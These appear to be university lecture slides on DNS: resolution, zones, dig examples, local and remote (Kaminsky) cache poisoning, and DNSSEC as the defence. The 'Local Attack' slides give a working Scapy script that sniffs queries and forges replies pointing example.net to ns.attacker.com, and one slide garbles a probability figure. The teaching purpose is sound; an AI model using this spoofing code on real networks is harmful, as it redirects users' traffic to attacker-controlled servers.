# Attacks on DNS

Outline

- DNS Query Process
- DNS Attacks Overview
- Cache Poisoning Attacks
- DNSSEC

Recall: TCP/IP Protocol Suite

- *application:* supporting network applications
  - FTP, SMTP, HTTP
- *transport:* process-to-process data transfer
  - TCP, UDP
- *network:* routing of datagrams from source to destination
  - IP, routing protocols
- *link:* data transfer between neighboring network elements
  - Ethernet, 802.111 (WiFi), PPP
- *physical:* bits "on the wire"

HTTP, FTP, ...	application
TCP, UDP	transport
IP	network
Ethernet	link
	physical

Domain Name System (DNS)

Internet Naming

Client

Payload

network

eth

phy.

www.sfu.ca

Rationale

- Hosts need to map a domain name to an IP address
  - Needed for Layer 3
  - The process is called Name Resolution

- What are our options?

Rationale

- Option #1: Store all IP-name mappings
  - Issues?

Name	IP
Example.com	123.45.1.2
Example.net	67.12.8.10
…	…

Rationale

- Option #2: Hosts ask another system about this mapping

Domain Name System (DNS)

- The Internet phone book
- A *distributed* system that maintains the mapping between domain name and IP address
  - Why is DNS distributed?

- A core component in the Internet
- Attacks on DNS may result in:
  - massive Internet shutdown
  - traffic directed to attacker's servers

Incident: DDoS on Dyn Servers

- Massive Internet disruption in 2016

- Many affected clients and businesses

- DDoS on Dyn's DNS servers
  - Attackers use infected IoT devices with Mirai botnet

- Three charges announced later in 2017

DNS Domain Hierarchy

- Domain *namespace* are organized in a hierarchy

Root Domain

Top-level Domains (TLDs)

Second-level Domains

.
(root)

.com   .net   .org   .ca   .edu

google   example   sfu   canada

DNS Domain Hierarchy

- Official list of all TLDs is managed by IANA
  - The Internet Assigned Numbers Authority

- IANA delegates each TLD to a manager, called a *registry*:
  - VeriSign → .com and .net domains
  - CIRA → .ca domain
  - EDUCASE → .edu domain

- A TLD registry contracts with other entities, called *registrars*:
  - To provide registration services to the public
  - When an end-user purchases a domain name: The registrar works with the TLD registrar to add the required information

DNS Zones

- DNS is organized into *zones* for management purposes
- Each zone:
  - groups a contiguous domains and sub-domains, and
  - assigns the management authority to an entity
- The **nameserver** of a zone maintains **DNS records** for all domains managed by this zone
- A domain can be managed by multiple authorities
  - If it's divided into multiple zones

DNS Zones: An Example

Zone 1
example.com

Nameserver of Zone 1 maintains:
- Records for example.com and any sub-domain not in other zones
- Nameservers that manage other sub-domains

Zone 2
ca.example.com

toronto   edmonton

Zone 3
uk.example.com

Zone 4
fr.example.com

Zone 5
van.example.com

Authoritative Nameservers

- Each DNS zone has at least one **authoritative** nameserver:
  - It publishes information about that zone
  - It provides *definitive* answer to DNS queries

- Primary and secondary nameservers
  - Primary: stores the original copy of all zone records
  - Secondary: maintains an identical copy of the primary server

- Each zone should provide multiple authoritative nameservers
  - For redundancy and reliability

- A single authoritative nameserver may maintain records for multiple zones

Zone Organization on the Internet

- **Goal:** ask an authoritative nameserver for answers

- Options:
  - Each host maintains a list of all authoritative nameservers
  - A central server that maintains that list
  - Issues?

- Instead,
  - Organize DNS zones on the Internet in a tree structure

Zone Organization on the Internet

- The root of the tree (root zone):
  - Managed by IANA
  - It has 13 authoritative nameservers
  - a.root-servers.net – m.root-servers.net
  - These servers are given to the OS (through conf. files)

- Every **name resolution** either:
  - **Starts** with a query to one of the root servers, or
 - **Uses** info. that was once obtained from these root servers

Zone Organization on the Internet

- Each of the TLD zones has authoritative nameservers
- They are registered with the root servers

- Each domain name has at least two nameservers

DNS Query Process

DNS Query Process: Overview

DNS servers on the Internet

Local DNS Files

- Two files in Linux that DNS resolvers use:
- `/etc/hosts`
  - Stores static IP addresses for hostnames

```
127.0.0.1        localhost
123.45.1.2       example.com
```

- `/etc/resolv.conf`
  - If the domain doesn't exist in `/etc/hosts`, the host needs to ask the local DNS server
  - May be automatically generated if using DHCP
  - The IP address of the local DNS server is stored in `/etc/resolv.conf`

```
nameserver 127.0.1.1
search cmpt.sfu.ca
```

Local DNS Server and the Iterative Query

Local DNS server   ROOT server   .net server   example.net server

1 Example.net address?

Don't know. Ask .net servers

2 Example.net address?

Don't know. Ask example.net servers

3 Example.net address?

Answer: 67.12.8.10

DNS: The Protocol

- DNS is an application-layer protocol.
- It often uses UDP as a transport layer
  - Port 53
  - When should DNS use TCP?

DNS
UDP
IP
eth
phy.

DNS Records

- The DNS packet contains **records**
- A DNS record is organized in four sections:
  - Question section: a record describing the query
  - Answer section: records to answer the question
  - Authority section: records pointing to authoritative nameservers
  - Additional section: records related to the query

DNS Records

Question Record

"A" := Address record
"NS" := Name server record

Name	Record Type	Class
www.example.com	"A"	Internet

Answer Record and Additional Record

Name	Record Type	Class	TTL	Data Length	Data: IP address
www.example.com	"A"	Internet	(seconds)	4	1.2.3.4

Authority Record

Name	Record Type	Class	TTL	Data Length	Data: IP address
example.com	"NS"	Internet	(seconds)	13	ns.example.com

DNS Header

DNS Header Format
Created by Troy Jessup - http://www.troyjessup.com

DNS Cache

- When a local DNS server receives a record
  - It caches this information
  - If same question is asked → there is no need to ask other DNS servers
    - Future answers will be cached (and non-authoritative)
- Every cached record has a time-to-live value
  - It will be time out and removed from the cache

Using `dig` for DNS Query

- A command-line tool that sends DNS requests and parses DNS replies.

Using `dig` for DNS Query: Example

- Ask your local DNS server

```
$ dig google.com

;; QUESTION SECTION:
;google.com.                    IN    A

;; ANSWER SECTION:
google.com.            217    IN    A     216.58.217.46
```

Using `dig` for DNS Query: Example

- Ask a specific DNS server

```
$ dig @8.8.8.8 google.com

;; QUESTION SECTION:
;google.com.                    IN    A

;; ANSWER SECTION:
google.com.             228    IN    A     172.217.3.174
```

Emulating the DNS Query using `dig`

```
$ dig @a.root-servers.net www.example.net
;; QUESTION SECTION:
;www.example.net.              IN    A


;; AUTHORITY SECTION:
net.                 172800    IN    NS    e.gtld-servers.net.
net.                 172800    IN    NS    f.gtld-servers.net.
net.                 172800    IN    NS    m.gtld-servers.net.
…


;; ADDITIONAL SECTION:
e.gtld-servers.net.   172800    IN    A    192.12.94.30
f.gtld-servers.net.   172800    IN    A    192.35.51.30
m.gtld-servers.net.   172800    IN    A    192.55.83.30

…
```

Emulating the DNS Query using `dig`

```
$ dig @e.gtld-servers.net www.example.net

;; QUESTION SECTION:
;www.example.net.                IN    A

;; AUTHORITY SECTION:
example.net.            172800      IN    NS    a.iana-servers.net.
example.net.            172800      IN    NS    b.iana-servers.net.

;; ADDITIONAL SECTION:
a.iana-servers.net.     172800      IN    A     199.43.135.53
a.iana-servers.net.     172800      IN    AAAA  2001:500:8f::53
b.iana-servers.net.     172800      IN    A     199.43.133.53
b.iana-servers.net.     172800      IN    AAAA  2001:500:8d::53
```

Emulating the DNS Query using `dig`

```
$ dig @a.iana-servers.net www.example.net

;; QUESTION SECTION:
;www.example.net.              IN    A

;; ANSWER SECTION:
www.example.net.      86400    IN    A    93.184.216.34
```

The final answer

DNS Attacks

An Overview

DNS Attacks Overview

- DDoS attacks
  - Launching DDoS attacks on DNS servers
  - If popular servers don't work → the Internet will not work!

- DNS spoofing attacks
 - provide incorrect IP addresses to victims

DNS Spoofing Attacks

Local
DNS
Files

DNS
Cache

①

②

③

④

User host

Local DNS server

DNS servers on the Internet

① Attacks on a compromised machine

② Attacks on user machines

③ Attacks on local DNS server

④ Attacks from malicious DNS servers

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DNS Spoofing Attacks

DNS Spoofing Attacks

- Attacks based on sending spoofed DNS replies

- DNS cache poisoning attacks:
  - Local attacks: The attacker is on **the same** network
  - Remote attacks: The attacker is on a **different** network
  - Why does it matter?

- DNS Rebinding Attacks

DNS Cache Poisoning: Local Attack

Local DNS Files

DNS Cache

User host

Local DNS server

Spoof Sniff

Spoof Sniff

❶

❷

DNS servers on the Internet

39

Local Attack

- What fields should be spoofed/known?
  - src/dst IP
  - src/dst port
  - DNS question
  - DNS transaction ID

When is spoofing triggered?

User host

Local DNS server

Spoof Sniff

Local Attack

What is IP address for
www.example.net?

What is IP address for
www.example.net?

IP=1.2.3.4

User host

Local DNS server

10.0.2.68

10.0.2.69

Spoof Sniff

10.0.2.70

Local Attack

```
def spoof_dns(pkt):
   if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
      IPpkt = IP(dst=???, src=???)
      UDPpkt = UDP(dport=???, sport=???)


       …


      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)

pkt = sniff(filter='udp and (src host 10.0.2.69 and dst port 53)',
            prn=spoof_dns)
```

Local Attack

```python
def spoof_dns(pkt):
  if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        …

      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)

pkt = sniff(filter='udp and (src host 10.0.2.69 and dst port 53)',
            prn=spoof_dns)
```

Local Attack

```
def spoof_dns(pkt):
  if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
               rdata='1.2.3.4', ttl=259200)
    NSsec  = DNSRR(rrname="example.net", type='NS',
               rdata='ns.attacker.com', ttl=259200)
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd,
             aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=1,
             an=Anssec, ns=NSsec)


    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

pkt = sniff(filter='udp and (src host 10.0.2.69 and dst port 53)',
         prn=spoof_dns)
```

Local Attack

- On the user machine

```
$ dig www.example.net

;; QUESTION SECTION:
;www.example.net.             IN   A

;; ANSWER SECTION:
www.example.net.      259200     IN   A    1.2.3.4

;; AUTHORITY SECTION:
example.net.          259200     IN   NS   ns.attacker.com
```

Local Attack – Note

- Targeting the authority section:
  - More dangerous than spoofing www.example.net, why?

- Can the attacker inject the IP address of ns.attacker.com in the additional section?

Local Attack – Note

```
$ dig www.example.net
;; QUESTION SECTION:
;www.example.net.               IN    A
;; ANSWER SECTION:
www.example.net.      259200    IN    A     1.2.3.4
;; AUTHORITY SECTION:
example.net.          259200    IN    NS    ns.attacker.com

;; ADDITIONAL SECTION:
ns.attacker.com.      259200    IN    A     6.7.8.9
```

This cannot happen because the nameserver isn't related to the question. The DNS server will discard this info!

DNS Cache Poisoning: Remote Attack

DNS Servers

Victim DNS server

Spoof DNS reply

Poisoned cache

```
;; ANSWER SECTION:
www.example.com.  259200  IN  A  ATTCKER_IP
```

Spoof

Attacker

Remote Attack

- The attacker is on a different network
  - Cannot sniff the network

- To spoof a reply, which data is hard to get remotely?
  - Src port (16 bits)
  - Transaction ID (16 bits)

- **The idea:** the attacker needs to generate them randomly

- Challenges:
  - Search space: $2^{16}*2^{16}$ options = 2^{32} (probability of success is **2.32^{-10}**)
  - Time: 50 days to try all of them (assuming sending 1K pkts/sec)
  - Cache: if the attacker is wrong, the answer for www.example.net will be cached → wait longer

We need to know:
- src/dst IP
- src/dst port
- DNS question
- DNS transaction ID

Remote Attack – Main Steps

1. Trigger the victim DNS server to send a DNS query
   - But, don't trigger the victim DNS server to cache target hostname
   - Hint: no need to ask the **right question**

2. Spoof the DNS reply
   - Random generation of src port and transaction ID.

3. Negate the cache effect
   - Keep asking different questions

- This is called *The Kaminsky Attack*

Remote Attack – The Problem

- Given a target hostname "www.example.net":
  - What kind of query should we trigger?
 - What should we put in the reply to affect the DNS cache?

Remote Attack – Solution – Part 1

- What should we put in the reply to affect the DNS cache?
  - Given a target hostname: how can we make the victim DNS server points to attacker nameserver?
  - **Use authority section**

Remote Attack – Solution – Part 2

- What kind of query should we trigger?
  - Recall: we cannot use www.example.com
  - Also, if the answer isn't related to the question, the answer will not be accepted
  - **Use randomly generated hostnames related to the domain name**
  - Examples:
    - 783.example.com
    - abc.example.com
    - qwerty.example.com
    - Etc…

Remote Attack – Putting It All Together

Protection Against DNS Spoofing Attacks

- The main problem: DNS servers cannot authenticate the replies

- Solution: DNS Security Extensions (DNSSEC)
  - RFC 4033, RFC 4034, RFC 4035
  - Authenticates DNS records in the replies by checking the sender's public key
  - Detects if a reply was spoofed
  - Adds new records:
    - RRSIG: RR signature
    - DNSKEY: Public key that a DNS resolver uses to verify signatures in RRSIG
    - DS (Delegation Signer): one-way hash of the public key provided by the sender's parent zone

DNSSEC

Response from Root server

Response from .net server

DNSKEY: Root server's public key

RRSIG: signatures of the records in the reply

DS: one-way hash of .net server's public key

verify

DNSKEY: This server's public key

RRSIG: signatures of the records in the reply

DS: one-way hash of example.net server's public key

verify

verify

DNSKEY: This server's public key

RRSIG: signatures of the records in the reply

Response from example.net server

Chain of Trust

Questions?